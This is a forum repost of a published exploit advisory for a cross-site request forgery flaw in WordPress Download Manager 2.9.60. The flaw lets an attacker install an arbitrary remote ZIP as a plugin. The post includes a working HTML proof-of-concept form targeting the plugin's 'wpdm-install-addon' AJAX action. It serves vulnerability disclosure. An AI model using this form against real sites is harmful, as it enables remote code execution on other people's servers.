WordPress Download Manager 2.9.60 - Cross-Site Request Forgery

Discussion in 'Exploits & Vulnerabilities' started by admin, Feb 21, 2018.

  1. admin

    admin Administrator Staff Member

    * Exploit Title: WordPress Download Manager [CSRF]
    * Discovery Date: 2017-12-12
    * Exploit Author: Panagiotis Vagenas
    * Author Link: https://twitter.com/panVagenas
    * Vendor Homepage: https://www.wpdownloadmanager.com/
    * Software Link: https://wordpress.org/plugins/download-manager
    * Version: 2.9.60
    * Tested on: WordPress 4.9.1
    * Category: WebApps, WordPress


    Description
    -----------

    Plugin implements the AJAX action `wpdm-install-addon` which calls the
    function `wpdm_install_addon`. This function doesn't take any anti-CSRF
    measures thus making it susceptible to those kind of attacks.

    What is interesting about this function though, is the fact that it
    provides plugin installation functionality for admin users. The origin of
    the package is defined by the `$_REQUEST['addon']` if is set without any
    validation.

    A malicious actor can exploit this to install a malicious plugin in the
    vulnerable site. In fact the install package doesn't need to be a valid
    plugin, it could just contain malicious code. Because the package is
    extracted in the `/wp-content/plugins/` dir without changing it's original
    folder structure, an attacker could leverage the CSRF to upload malicious
    code and execute the code on the infected server.

    PoC
    ---

    HTML:
    <pre class="lang:html decode:true "><form method="post" action="http://vuln.dev/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="wpdm-install-addon">
    <label> This is the remote url to get plugin from. Everything is valid as long as it's a ZIP archive and ends with .zip
    <input type="text" name="addon" value="https://downloads.wordpress.org/plugin/bbpress.2.5.13.zip">
    </label>
    <button type="submit" value="Submit">Submit</button>
    </form>

    Quỷ Lệ - VHB
     

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